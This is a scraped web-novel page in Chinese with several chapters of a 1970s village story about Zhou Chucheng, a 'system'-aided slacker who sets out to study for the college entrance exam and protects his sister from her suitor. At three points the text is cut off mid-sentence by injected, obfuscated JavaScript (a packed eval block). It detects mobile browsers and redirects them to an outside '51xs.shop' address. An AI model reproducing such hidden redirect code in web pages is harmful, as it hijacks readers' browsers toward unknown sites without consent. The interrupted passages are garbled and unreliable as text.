周家人现在对蒋南意见不小,矛头就出在回城这件事上,周晚不想家里人讨厌蒋南,晚上蒋南叫她出去说说话,她想也没想,就偷偷溜出了家门。 结果她哥却来了,周晚心里头七上八下的,难道是爹妈知道她跑出来约会,要让她哥抓她回去?可真要是这样,她哥早就翻脸不认人了,才不会跟这会儿一样有好脸色。 “你是我亲妹子,我还能不知道你?”周楚成笑了一声,不仅没对幽会的小情侣俩发脾气,反而是主动和蒋南打起了招呼,“蒋知青也在这儿啊。” ……这就更离奇了! 别人周晚不知道,她哥有多不待见蒋南,她是最知道的,私底下周楚成可没少和妹妹抱怨“你那个对象经常拿鼻孔看人”,今天这是怎么了,太阳打西边出来了,她哥对着蒋南这么客气了?! 可天上哪有太阳,就只有个明晃晃的白月亮,一脸无辜地挂在天上,压根不知道周晚她哥心里到底想啥。 她都闹不明白,就更别说蒋南本人了,实话说,他和对象这个“盛名在外”的哥哥打交道的次数很少,去周家拜访的那几次,周楚成也是吃过饭就和朋友出去,人影都不见一个。 对他这个未来妹夫,周楚成不大搭理,蒋南其实很理解,因为他也不怎么愿意主动搭理周楚成,两人的学历、认知和想法都天差地别,要不是和周晚处对象,蒋南都很难想象有人会在家里供得起的情况下,小学毕业就不往上读了。 和周晚这个又努力,又有天赋的妹妹比起来,周楚成这个哥跟抱错了娃似的,只是这话蒋南怎么都不合适说,就当这个人不存在。 结果周楚成现在和他主动打招呼了,还客气地叫他“蒋知青”!蒋南要多意外就有多意外,面上却礼貌地点了点头:“周同志,你好。” 周楚成转过头又训起了周晚:“姑娘家家的,晚上一个人在外头多危险知不知道?背后那大梁山去年冬天还抓了只熊呢,你就不怕下来个老虎狼的,给你叼了?” “……怕。” “怕还敢溜出来玩。”周楚成脱下外套披在妹妹身上,冷冰冰的十月天,蒋南竟然就这么让他妹穿着一身薄薄的衣裤就出来约会,回去生病了算谁的。 其实蒋南也穿得薄,周晚好歹还是棉做的衣裳,里头裹着沈桂香亲手缝的棉花,谈不上冷,蒋南为了显得帅气有型,甚至还穿的是的确良的衬衫,但他冷就冷呗,周楚成可不管他,倒不如说更鄙视他了。 要风度不要温度! 周晚红着脸不好意思地笑,外套的温暖让她身上舒服多了,她哥对她可真好。 周楚成又说道:“还好这儿离知青驻地近,你看看,你大晚上的在外头溜达,要不是人家蒋知青看见你,好心把你守着,怕你遇到危险,等会出了事我看你咋办。” 他转过头,一脸认真诚恳。 “蒋知青,真是太谢谢你了!” 这话听上去是一点问题没有,还是出自村里最混不吝的周楚成之口,平时谁听过他说一句谢呀,还是这么真诚的语气,可是蒋南怎么听,心里怎么感觉怪怪的,不得劲儿。 怎么被周楚成话这么一说,好像他成了自告奋勇的护花使者,就等着周楚成这个亲哥来接妹妹回家呢? 明明是他们郎情妾意,在月光下交流爱情,交流人生——是周楚成突然冒出来,打断了他们的浪漫对话啊! 可蒋南心里这么想,嘴巴上却不能这么说,他自诩君子,最看重的就是礼义廉耻,他自己心里也清楚,夜半幽会这种事确实有些不够“君子”,毕竟他和周晚现在只是处对象,还不是扯了证的夫妻。 再往前头推几年,被人瞧见了也是能往他身上安个“流氓罪”大帽子的。 他只能顺着周楚成的话说:“没关系,晚晚是我对象,我照顾她也是应该的。” 这话甜滋滋的,说得周晚脸上也扬起了明媚的笑容,她一点没感觉到自家亲哥在话里话外隐晦地给了她对象一点压力,反而是两个人说话有来有回的,不像平时那么互相不对付,让她今天气闷了一晚上的心情舒畅了许多。 周楚成呵呵一笑:“那就先这样,蒋知青,今天真是辛苦你了——晚晚,咱回家了。” “……好。”周晚乖乖地点了点头,正要走,蒋南叫住她,拿出本书来,“晚晚,这个你拿回去。” 周晚接过来抱在怀里,有些甜蜜地冲他笑了笑,周楚成已经走出去几步,看妹妹没跟上来,又叫她动作快点,周晚这才吐了吐舌头,连忙追上去和哥哥肩并肩往回走。 蒋南怔怔地看着她娇俏的背影,想要把她叫住,却最后什么也没说,他握紧了拳头,京城来的电报又催促他回去,说是在那边给他找合适的姑娘当对象,他却不愿意,硬顶着跟家里不松气。 他爱周晚,不是年少轻狂的喜欢,而是爱,他想要带她去京城过好日子,乡下贫穷落后,这样贫瘠的土壤,不般配那么美丽的花儿。 兄妹俩的背影渐渐消失在路尽头,蒋南目光落在那个更加高大的男人背影上,有些懊恼,刚刚周楚成对自己态度那么客气,自己也忘了旁敲侧击说一说回城的事情,反而是被对方带着话头走了。 但转念一想,周楚成又能明白什么道理,周家父母不论,他这个做哥哥的就是周晚最大的拖累。 他刚刚看到周楚成袖口还有墨黑的污迹,也不知道他是从哪儿来,说不定也是跟狐朋狗友刚刚出去闲逛回来,竟然还那么义正辞严地教训周晚。 蒋南回到驻地,又是一声叹息,唉,还是得赶紧带周晚离开这里,也不知道他送的礼物能不能让她下定决心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周楚成也不难为她:“我就是听你刚刚说,连你们公社中学的老师都觉得看这本书对考大学有好处,我眼馋,没事,你自己留着看。” 他这么说,周晚反而心里过不去了,这会儿两人走到家门口,一路回来,刚刚和对象说甜言蜜语的那股激情也慢慢褪去,反而是身上带有肥皂香味的外套更鲜明。 周晚想起哥哥在父母面前的严词保证,又想到自己吃完饭才信誓旦旦地说要帮哥哥一把,现在竟然因为对象把哥哥忽略了,她愧疚得不得了,主动把那本《钢铁》塞到了周楚成怀里。 “哥你先看,看完了再还我!”周晚说着,心里也默默下定决心,明天一定要想办法给她哥把教材给借到手。 周楚成拿着妹妹心甘情愿借给自己的书,优哉游哉回了卧室,一在书桌面前坐下就迫不及待把书翻开来,果不其然,有一页书缝里头夹着一张轻飘飘的纸。 真是蒋南给他妹写的情书。 【……亲爱的晚,刚刚和你分别,脑海里却又闪过你的面庞,你那双漂亮又明亮的眼睛,就像是天上的太阳和月亮,让我无时无刻不挂念着你……】 啧,比醋坛子的味儿还冲,酸死了! 【……我家里人喜欢知书达理的女孩,我相信,你一定能征服他们,就像你轻而易举地就俘获了我一样……】 什么叫你家里人喜欢知书达理的女孩,还没扯证呢,这就做上公婆的姿态了? 【……京城的学习氛围和资源都要比红旗大队好许多,等咱们回了京城,就能在一起读书,一起复习高考,一起上大学,你爱吃的麦芽糖,京城供销社里想买多少买多少,哪怕是麦乳精,京城也能买得到……】 这还拿糖衣炮弹哄骗上他妹了! 周楚成脸色黑得像锅底。 如果知识一封情书,他倒也不会这么破防,可这信里写的是什么,字字不离回城,句句都是暗示他妹要做个“好女人”,要讨未来公婆欢心。 还没去京城见过他父母,证也没扯呢! 这什么人呐,还知识分子,还文化人——周楚成之前只觉得这人清高,现在蒋南在他这儿就是个花言巧语的渣渣,他怒火中烧,一眼瞥到桌上那袋系统奖励的巧克力,伸手拿过来三两下拆开一块丢进嘴巴里。 苦味和甜味在口腔里肆意蔓延,周楚成拿出铅笔,看着桌上系统发下来的课本,恶狠狠地一抹嘴巴。 不就是学吗?他学! 5. 第 5 章 这边周楚成内心正充满了斗志,要好好学习天天向上,另一边,蒋南惦记着今天给周晚那本书里夹的那封信到底能不能起到效果,他心事重重地往驻地走,却意外和许芝灵撞了个对面。 “许同志?” 蒋南有些意外,知青驻地这个地方毕竟是在村外,晚上鲜少有人会到这边来,更别说许芝灵和他对象周晚都是年轻女孩,大晚上的怎么会往这么偏的地方来。 许芝灵也很惊讶,下意识看了他身后一眼:“……我还以为晚晚和你在一块儿。” “这么晚了,她应该这会儿在家吧。”蒋南淡淡地说道,“外面天气冷,你也早点回家比较好。” 他和许芝灵并不熟悉,只是因为对方和周晚是闺中密友,他常常会碰到这个人,两人也就是点头之交的关系而已,蒋南并不打算将今晚上找周晚约会这件事对对方和盘托出。 “好,谢谢你。”许芝灵点了点头,临到要走的时候,她忽然又顿了顿脚步,“晚晚要进城的事情……” 蒋南眉宇间闪过一丝不耐,面对周家频频拒绝的压力,周晚本人的犹豫不决,他最近没少为这事儿着急上火,今天好不容易找到机会和周晚说说情话,又被周楚成这个横插一脚。 这会儿要是又多一个对象的小姐妹出来对这件事指手画脚,他是真要喘不过气了。 “你放心,晚晚她爸爸妈妈都很宠她,一定会答应你们的事情的,而且你对她那么好,她不可能不理解你体谅你。” 蒋南眉尖一松,没想到许芝灵并没有像想象中那么反对,反而是安慰了他,这句话听上去平平淡淡,在这个节骨眼上,却的确让他的心情松缓了几分。 许芝灵和他又不熟,不可能是专门告诉他自己站在她这边,她会这样说,肯定是周晚平时在她面前也说了类似的话。 周晚还是站在他这一边的,是不是?她只不过是顾及父母和哥哥的心情,才会迟迟犹豫不决。 这个念头让蒋南的嘴角情不自禁地扬了起来,那封情书到底能不能打动对象的芳心,在这一瞬间他脑海中给出了肯定的答案。 萧瑟的秋风打在薄薄的的确良衬衫上也不冻得他四肢僵硬了,他觉得自己心中黯淡的那朵爱情之花又生机勃勃了起来。 许芝灵脑海中的气运系统也生机勃勃地运转着。 她不知道这个气运系统从何而来,但是绑定了这个东西以后,她就看见了蒋南身上金光闪闪,好像是佛光普照似的,衬得他整个人都披上了一层暖阳。 气运系统提醒她,这代表着蒋南以后会过得很好,有很大的成就。 许芝灵压抑着内心的那一丝波澜,和蒋南分别后快步赶回家。 天色早已经黑得透透的,她蹑手蹑脚地进院子里锁好门栓,刚推开堂屋的门,迎面一个水壶砸了过来,险些磕到她的额头。 幸好她眼疾手快地闪到了一边,可是水壶里的水泼了出来,淋了她一头一脸,许芝灵站在门口像是落汤鸡一样狼狈。 煤油灯点了起来,堂屋上座的木头椅子上,她爸阴沉沉着一张脸抽着旱烟,她弟躲在她妈的怀里,正冲她幸灾乐祸地笑。 “你还知道回来!” 许芝灵抹了一把脸,湿哒哒的脸上又是凉,又是冷:“爸!” “你还认得出来我是你爸。”许建国吐了口烟,“好好和你说那高中不读就不读了,多读三年出来不一样是挣工分,还不如趁你年轻早点去县城里找个营生做,挣得多多了——也不知道你到底闹个什么!” 又来了,自从她回家告诉父母公社中学要解散,她想去考县城联办班之后,他们就变成了这幅态度,不希望她继续读下去,想她赶快出来挣钱,给家里添个劳动力。 “我连门路都没有,我要上哪里去找挣钱的营生!”许芝灵辩解道,“高考就剩几个月了,只要我考上大学什么都会有的!” “大丫,你爸也是为了你好。”她妈李秀兰说道,“那大学能不能考上谁不知道,就是考上了,咱们家也供不起你念啊!” 许芝灵握了握拳,说来说去,她家人其实就是不愿意让她去读书,她眼神落在了母亲怀抱里卖乖撒娇的弟弟身上:“你们是想供他念书是不是?” 许耀宗害怕地往亲妈怀里一钻,李秀兰搂着儿子皱了皱眉:“那是你弟弟,怎么连名带姓地叫……你做姐姐的,让着弟弟怎么了,你都读到初三了,该有的都给你了,让你去打工怎么就不行了!” “我上哪儿去打工。”许芝灵越发觉得心冷,“县城那几个工厂全是子弟接班,我连人家大门都进不去,别说工厂,就是那些饭馆也进不去,我只能去扛大包,去运瓦片……还是说你们就想我留在大队上,永远当个农村人!” “这也不行那也不行,那你就嫁人。”许建国不耐烦地说道,“你怎么不像人家周晚能找个城里对象,就因为她,连老周家那样的这辈子都能躺着享福!就我和你妈命苦,生了你这个讨债的,供你吃供你穿,还给你养成仇人了!” 李秀兰也劝道:“大丫,你别糊涂,谁不是这么过来的?等以后你弟弟读书读出了头,你也有娘家兄弟撑腰,到时候你也能享福,这有什么不好?” 这一场争吵自然又是不欢而散,许芝灵面上倔强,说什么也不同意放弃高考,可回到卧室有些怔怔地看着镜子里的那个自己,她忍不住伏在桌子上大哭起来。 凭什么她要摊上这样的父母,凭什么她就要过这样的日子! 脑海里她爸恨铁不成钢的攀比话又浮现出来,许芝灵忍不住想起周晚那张青春漂亮又乐观开朗的脸庞。 她原本就很羡慕自己的小姐妹,周家父母在村里风评并不好,沈桂香泼辣护短,周红军吝啬抠门,可是她就是羡慕,羡慕周晚这对极品父母对女儿巴心巴肝地好,就连周晚那个废物哥哥也把妹妹的事情看得很重要。 而她呢,父母偏心,弟弟把什么都理所当然地当成自己的,没人关心她想要什么。 她原本以为再怎么样,她父母也至少会让她考完大学,可今天闹这么一出,显然是许耀宗不愿意看她继续读书,背地里不知道跟爹妈说了什么,他们现在是改了主意,不想让她继续读了。 可许芝灵不想这样,她想过好日子,她想要改变自己的命运,如果不能读书,她还有什么办法能够逃离这里? 许芝灵想起刚刚吵架时看到自己家人身上都蒙着厚厚的灰光,和金光相反,灰光就代表着这个人一辈子都会碌碌无为,跟发达享福沾不上一点关系。 近朱者赤近墨者黑,她父母显然这辈子就这样了,但她还认识一个有金色气运,以后能有大出息的人,那就是蒋南。 一条从未想过的路,在这时候摆在许芝灵面前,镜子里的年轻女孩面容在泪水中渐渐变得模糊扭曲。 …… 周楚成要高考这件事,在周家掀起了不小的波澜,等周晚真把中学教材给她哥借回来,周楚成真乖乖地看起了书,这波澜就更大了。 周红军和沈桂香两口子嘴巴上总是说儿子这不行那不行,可眼看着长歪了十几年的树自个儿想扭直了,他俩又忍不住有了那么一点点期待。 万一呢? 不说能不能考上大学,但是愿意静下心来努力,做什么事儿不能成?总比之前那么咋咋呼呼,到处见不着人的时候好,当爹妈的心里也有个底啊。 两口子都不是心里能藏多大事儿的性格,心里怎么想的,马上就表现在了脸上,周楚成敏锐地发现他爸妈对他回房间看书这个事儿态度变了。 尤其是他妈,竟然不拿着鸡毛掸子追着问他又在看什么闲书了! 对于他妹周晚来说,这是理所当然的,毕竟他妹读书是真争气,公社小学那会儿就是顶顶有名的“尖子生”,后来中学也是一路刻苦努力,成绩就没下过优。 而他呢……不说也罢,总之周楚成很有自知之明,自己浑浑噩噩这些年,家里爹妈能给他好脸色就不错了,他也想要好好努力,让父母能够少操心。 周晚也在努力,这两天蒋南没来找她,她也忙得顾不上谈对象这事儿了,联办班入学考试的时间定了,就在下周三,满打满算就那么一周时间。 公社中学虽然是要解散,很多学生也明确了不打算参加县里考试,参加考试的还是有一些人,现在中学课堂就成了准备考试的自习室,周晚就白天忙自己的功课,放学回家看看她哥复习咋样。 让周晚没想到的是,她哥学功课的速度比她想象中快得多。 就好像那些题都已经在他脑子里做过许多遍了似的,都不用她多说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135876|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哥自己就能弄明白,周晚担心她哥是不是最近连觉都没睡,她哥却淡定地说这些东西都很简单,随便做做就会了。 【真希望宿主做任务的时候也能像现在这样嘴硬,而不是挑战500道函数题失败就无能狂怒】 周楚成:…… 魔鬼,别说了,在妹妹面前有多淡定装比,背地里做题就有多想死。 但是周楚成可绝对不会自己拆穿自己,反而是对着妹妹拍胸脯保证,联办班的入学考试对他来说也是小菜一碟,根本不在话下。 不知道是不是他夸下的海口太惊人,当天晚上,周家就迎来了客人——周家大伯娘王莲芳,和大伯家的宝贝独生子周敬。 王莲芳笑呵呵地,推了儿子一下,嗔怪道:“害羞个啥,叫人呀!” “叔、婶。”周敬有些矜持地和沈桂香周红军两口子打招呼,将手里的竹篮子递到沈桂香手里,沈桂香一瞅里头铺满了鸡蛋,连忙摆摆手,“一家人,干什么还要拿这些东西——” “就是一家人,才要多关心。”王莲芳笑着解释,“而且也不是别的,这不是小敬回来和我们说他和晚晚马上要参加联办班入学考试了么,想着能不能让妹妹也多吃点鸡蛋补补,要不这一天天的使劲念书,气血可跟不上!” 周敬可是老周家最会读书的苗苗,周大伯两口子也对他充满了期许,在沈桂香眼里这孩子是一头扎进书堆堆里,别的事儿他都放不进心里,没想到在这节骨眼上还惦记着周晚这个堂妹。 周晚笑得很甜:“谢谢大哥。” 周敬也浅笑了一下:“不用。” “你这孩子真是细心。”沈桂香瞪了一眼旁边的儿子,“学着你大哥点!” 周楚成笑嘻嘻地附和:“学学学。” “嘴贫!” 周敬脸上一直保持着温和的笑容,唯独周楚成说话的时候,他嘴角往下撇了撇。 对这个从小就熟悉的堂弟,周敬心里有几分看不上。 在家他爸周红旗说得最多的就是周家两兄弟当年经历了多少苦,对自己这个儿子,周红旗一开始就给他定好了目标,那就是必须要出人头地,要考上大学,光耀周家门楣。 周敬这些年也勤勤恳恳,一点没有辜负他爸的期待。 而且随着周敬读书读得越来越多,那些在他只能坐在家里读书,他们却能在外头捉虾摸鱼的童年玩伴们一个个进了生产队,成了面朝黄土背朝天的农民,接连娶了媳妇有了下一代,他也越发明白了他爸是对的。 他不想在这个山窝窝里,一辈子面对穷苦的命运——读书才是唯一的出路,读书甚至成了周敬衡量一个人值不值得交往的依据,愿意读书的人才是和他一样的明白人,他才会愿意和对方说话。 那些不愿意读书的人已经没救了,他连眼神都懒得给一个——比如说周楚成,从小逗猫惹狗,现在半大不小了,还是游手好闲,周敬想到自己和对方一样是周家子弟,都觉得脸上无光。 “桂香,其实我今儿来,还想和你聊聊小敬的事儿。” 周敬回过神来,他妈已经亲亲热热地挽着妯娌沈桂香的手臂说起了真正的来意:“你还记得许家那闺女不,还小的时候,和咱们家小敬有娃娃亲那闺女。” “许家那闺女……你说许芝灵?” “就是,你看小敬也到成家的年纪了,我和他爸就想着两家这是不是要慢慢走动起来,把礼数什么的都过一过明面,你觉着妥不妥当?” 沈桂香敏锐地意识到她的问题别有深意,她下意识看了周敬一眼,后者脸上还算镇定,但耳朵已经红得要烧起来,大嫂显然是想把这桩姻缘给定下来了,来问她,恐怕是因为周晚和许芝灵是关系顶好的小姐妹,想从这儿打听打听。 “晚晚,去给你大伯娘倒杯水,咱们坐下慢慢聊!” 周敬不好意思再听下去了,但这会儿事情和他自己的终生大事有关,他走也不是,不走又听着耳根子发烧,只能故作镇定,一双眼睛有些不自在地四处游曳着。 只是下一刻,他的目光就定住了。 刚刚还跟游魂似的缀在沈桂香身后的周楚成不知道什么时候不见了,反而是吃饭的那张桌子前多了个人,面前摊开本教材—— “周楚成……竟然在看书?!” 6. 第 6 章 周楚成和书放在一起,那只有一种可能,就是又走了什么歪门邪道弄了些不三不四的闲书来看,周敬往桌边走了几步,近距离清清楚楚地看见了周楚成面前摊开的是一本教材……不是包着书皮假装的,而是一本正儿八经的教材! 上面甚至还写着“三角函数”——这甚至还是高一的数学教材! 这就稀奇了,周楚成是个什么德行,太阳从西边出来都不影响他那书柜里一排一排的全堆满了连环画,怎么今天就偏偏转了性了,开始一本正经地看起书了?最重要的是,周敬对自家这个堂弟的水平不要太了解——他就是个小学毕业! 小学毕业的文盲,突然就能看高中教材了?周敬反正是不信的,他不仅不信,还直截了当地问出口:“你看这个能看得懂吗?” 周楚成抬起头瞥了他一眼:“能啊。” 他这会儿有点烦,系统今天不知道上哪儿给他搞了个限时挑战500道函数题的超高难度任务,做得他五内俱焚,任务当然是没完成的,到手的奖励也直接没影儿了,一晚上他都憋着口气,想着能不能再把这个任务刷回来。 五百做不成,两三百还是可以再挣扎一下的嘛! 谁知道周敬竟然来了。 正如周敬对周楚成印象不好那样,周楚成其实也不太待见这个从小就一副清高样儿的堂哥,大伙儿往上数三代,都不用,一代,全是面朝黄土背朝天的贫农,就他周敬读了几本圣贤书,回回到他家来,都要揪着他不读书的事情说半天。 周楚成听得耳朵都要起茧子了,正赶上刚刚任务失败,他就更不想搭理了,。 知道他说得轻巧,周敬就更不信了——自己这个堂弟自己了解,做正事他不见得愿意动脑瓜子,但要是为了偷懒,歪点子可没少想。 周敬想到他爸之前提起过大队部有想法,想给队上那条水渠给重新修一修,他觉得自己或许找到了答案,周楚成该不会是从哪儿听到了这个消息,不想出力,找个借口偷懒吧? 他看着周楚成直接跳过了课后附加的那些习题,往后翻到了下一个章节:“这些题你都会做了?” 周楚成扫了一眼:“会啊。” 这人连题干都没看清楚吧! 周敬气笑了:“周楚成,你这个人还真是撒谎不打草稿,你真觉得这些题你能做?!”他声音抬高了一些,“你怎么就不能学着一点好呢,十七八岁的人了,还天天蒙着鼻子哄眼睛,这样自欺欺人有什么意思?” “我哪儿自欺欺人了,我说我会解啊。” “你怎么会的?你连公社中学都不肯去,自己坐在家就会了?” “是啊。” “你自己听听这话有没有人信。” “怎么啦怎么啦,哥俩就几天没见,怎么还闹起别扭了。”这边刚声音大了点,那头沈桂香和王莲芳妯娌俩,加上周晚这个陪客的老幺都凑了过来,王莲芳拉了周敬一把,“和你弟弟吵什么呢。” “……没有。”周敬深吸了口气,指了指桌上摊着的那本书,“我看周楚成在看教材,不知道哪儿来的,问了几句。” “看书?”王莲芳也惊讶了,周晚弱弱地从亲妈身后伸了个脑袋出来:“敬哥,那是我找王老师借来的教材。” “给你哥?” 周晚看了哥哥一眼,周楚成也懒得藏着掖着:“我要参加高考。” “啥?!” 这下岂止是周敬,连王莲芳都傻眼了,周敬先回过神来:“别拿这种事情开玩笑,你知不知道什么时候高考,今年就——” “就剩下三个月,而且还要先考联办班才行,是吧。”周楚成好脾气地解释,“考呗,公社中学也没说只让他们那读书的学生考啊。” 这话倒是没错,倒不如说王老师巴不得让村里所有能考的年轻人都去尝试一下,周楚成即使说他要参加,王老师也会点头同意,但是问题不在这里,而是周楚成一个好几年没拿起过书本的人,突然说是要去参加高考,这给人的感觉就跟一个从来没下过地的人突然说他能一晚上收十亩地的玉米棒子。 除了吹牛,想不到第二个可能。 周敬目光投向婶婶和堂妹,两人脸上都没有多少意外,显然周楚成要高考这件事是和家里通过气,他正想要转换思路,和婶婶沈桂香好好说道这件事,但又发觉这样似乎也不是一个好方法。 叔叔婶婶要是真能把周楚成制住,那这些年也不至于让放纵他在外面跟狐朋狗友一起玩了。 书上这些题不保险,周晚借来的都是王老师以前用来备课的书,上面有不少笔记,说不准就有习题的答案,周敬沉吟了一下,他还背了一沓复习资料来,本来是给堂妹周晚准备的,打算临走之前再给,但现在只能先拿出来了。 里头就有一道三角函数的大题。 “你要是能把这道题解出来,我就相信你。” 他说再多,都不如一道题来得管用,周敬是不相信周楚成能做出来这道题的,这可不是课后习题那种浅显易懂,还给足了提示的基础题,而是他爸托姑姑从县城弄回来那堆资料里,颇有挑战难度的一道大题。 对他当然不是问题,但是周楚成嘛……周敬瞥了一眼周晚,后者离得近,一下就把题目看得分明,周敬摇了摇头,摆明了不让堂妹参与。 周晚叫了一声“敬哥”,可怜巴巴地又看向自家亲哥,周楚成松了松肩膀,忽然发现周敬送上门来是一件好事。 他家里人的确是信任他的,但这种信任更多的是对亲人无条件的信任,而非对他学习能力的相信。 最明显的一点就是,周敬可以大大方方说自己要高考,甚至还立志要考到京城去,要做大学生,而他周楚成说同样的话,别人就觉得他是在说大话,就这么一道题,他妹都紧张成那样。 周楚成想起刚刚他妈在大伯娘面前含笑夸周敬的样子,是不是也有一瞬间,她其实也很想夸夸自己的儿子呢? 他想让家里人脸上有光,让他妹妹在这种时候不必为了他这个废柴哥哥出头。 别说做一道题,让他做十道,一百道,甚至一千道,周楚成都愿意做。 又不是没做过! 【叮!特殊任务已触发:在10分钟内用两种解出周敬指定的三角函数大题(0/1)】 【奖励:雪花膏一罐】 “行。” 草稿纸是不缺的,周楚成拿起铅笔就开始唰唰唰地写起来。 沈桂香看不明白题目,只能坐下来,拉着周晚问:“那题难不难?” 周晚点点头:“……有点。”她不想让她妈太伤心,“我的话,得花点时间。” 费点时间,那就证明还能做,沈桂香刚要松口气,又懊恼地想起来儿子跟女儿压根就不是一个水平,周晚都得费点时间,周楚成才开始看几天书啊,他能把题看懂就谢天谢地了。 周晚也很担心,但比起他妈的忐忑不安,她还有一线希望。 毕竟从小到大,只要是她哥认真想做的事情,她就没见过她哥做不成的,这一次一定也一样……大不了,大不了就是知识点积累得还不够,暂时做不出正确答案而已。 无条件站哥哥那头的亲妹,加上一个心里七上八下却又不想在这种情况下表现出来,打击儿子自尊心的亲妈,表情看上去倒还比亲自出题的周敬淡定些。 周敬一直没说话,眉头却随着时间流逝,慢慢地皱了起来。 不是因为周楚成在乱写乱画——他要真那么做,周敬反而不会表现出这样的神情,恰恰就是因为周楚成写得太有条理了! 周敬看着草稿纸上铅笔一直没停过,他意识到自己似乎是错判了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135877|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周楚成不是在和他东拉西扯,而是真心想要把这个题解出来。 明明没有任何人在催促他,他下笔却快得像是在经历一场正经考试一样,外头不知道哪家的鸭子叫了两声,系统的提示音同步响起。 【时间到。】 【叮!恭喜宿主完成特殊任务,奖励已发送~】 铅笔同步丢开,草稿纸上密密麻麻地写满了解题步骤,周敬神色复杂:“三角函数推导角度关系……你竟然会。” 周晚忙不迭地凑了过来,踮起脚越过表哥肩膀去看上面写的内容:“我哥是不是做对了?” 周敬还没说话,周楚成伸了个懒腰:“你说的那是第一种解法,第二种用的是三角函数的平方关系和诱导公式做的,在后面。” 周敬循着他的话看过去,果不其然有一条铅笔画出来的细黑色长条做分割,分割线后是周楚成说的第二种解法,两种答案一模一样,看上去只是解题步骤有一些区别。 但周敬知道,区别不只是这么简单,这意味着周楚成把这块的内容已经学得很扎实,甚至能够举一反三了……最重要的是,他只用了很短的时间,周敬有些后悔没认真记刚刚到底花了多久,但凭他的感觉,应该和他解这道题的速度差不多。 可是他只解出来一种方案,周楚成却解出来两种。 沈桂香左右看了看:“小敬啊,你弟这题到底是做对了还没做对?” “……对了。” “不愧是我哥!”周晚顿时喜笑颜开,挽着周楚成手臂一个劲儿欢呼,那样子倒像是她自己解出什么惊天难题似的,一张小脸上笑得红通通的,沈桂香显然也松了口气,她不懂读书,但周敬可是周家最有文化的,他说是这样,那肯定就是这样。 周楚成笑了笑:“这题不难,大哥是照顾我的学习水平,专门鼓励我呢。” 周敬跟一口塞了个囫囵鸡蛋似的,话都说不出来,他爸对他耳提面命,他自己也一向要强,就连在公社里考个第二名都忍不了,让他顺着周楚成的话说下去,除了周晚其他人也不会发现哪里不对,是周敬自己接受不了。 但他不顺着说……这就意味着他承认了,他一向看不上的周楚成,其实比他一点不差!偏偏自己还心高气傲,没把人当回事……周敬眼神有些复杂,一时闹不清楚是周楚成是突然转了性了,还是真的天赋异禀。 简直像是变了个人似的。 周敬一时间不知道该说什么,幸好周楚成又叫了他一声:“这练习题挺好的,要不也借我用用呗。” 他胡乱地点了点头,连今天来这里的初衷都忘了个干净,自顾自地就往外走,王莲芳看儿子魂不守舍的,“哎”了一声,把周敬留下来的资料袋子给放到桌上:“桂香,刚刚说的事儿你可别忘了!” 刚刚说的无非就是周敬有意和许芝灵处对象的事,周晚在旁边没少听,冲她妈“嘿嘿”笑了一声,沈桂香拍了拍女儿的小脸:“鬼灵精,这事儿交给妈去问,你个未婚姑娘,可别掺和进去,也别在芝灵面前乱说,听见没。” “知道啦。”周晚嘴巴上应下来,心里却很雀跃,平心而论周敬这个堂哥虽然是古板点,还有点文绉绉的,但对她这个妹妹也不错,如果他和许芝灵在一起,她的小姐妹以后可就是她的堂嫂了,两人能在一起玩一辈子呢。 沈桂香这会儿看儿子是哪哪儿都好,周敬出息,她当婶婶的当然不可能盼着孩子不好,可别人家孩子再好,又哪有自家孩子争气来得好……这一刻她甚至觉得周楚成高考能不能考上都没事了,她这个当妈的满足了! “妈,我刚刚厉害吧!” 沈桂香笑容一收,像是不想让儿子太得意忘形,可下一秒,她还是从心地挽起袖子进了灶房:“晚晚,妈给你下碗面条去……给你哥也下一碗吧,大半夜的,肯定饿了。” 7. 第 7 章 天底下就没有不透风的墙,这年头的大队别说墙了,就是个满是孔的筛子,周晚这边儿给她哥借了书回去没多久,那边全大队都知道了,周家那个扶不起来的老大周楚成要参加联考班入学考试! 倒没人真的往高考上去联想,不是别的,而是周楚成这个名字和高考放在一起,咋看咋觉得不像那回事,就连他要去联考班,大队上的人们也只是付之一笑,觉得这臭小子又想了什么新方法要逃工。 “劣迹斑斑”在前,谁也不信周楚成是当真了要重新做人,努力念书,周红军是个闷葫芦性子,赚钱赚工分的事儿叫上他倒是很积极,可要是从他嘴巴里问出个所以然来,那是想都不要想,去问沈桂香吧——那可是个泼妇,谁敢惹她呀? 周晚倒是愿意帮哥哥解释,可哪个也不会来问她这个年纪轻轻的小姑娘,她总不能见着人就上去挽着人家说自家哥哥的事儿吧,只能把这事儿憋在心里,期盼着最近队上的事儿能少一些,多给她哥留些时间复习。 但好巧不巧,就在这节骨眼上,还真就出了个突发事件。 ——大队部的收音机坏了! 要是换作城里,这可不算什么事儿,买得起收音机的人不少,自然而然就有会修收音机的能人巧匠,人家就指着修这东西挣钱。 可在红旗大队,全大队部就这么一台,还是前头拿了先进公社的表彰,从县里头领回来的,那就不是一台简简单单的收音机,而是大队部的脸面。 大队长当时就急了,找人赶紧去富强大队找他们会电工的师傅过来检修,可人去了一圈空手回来了,说是老师傅身体不好,进城里看病去了,说不准什么时候回。 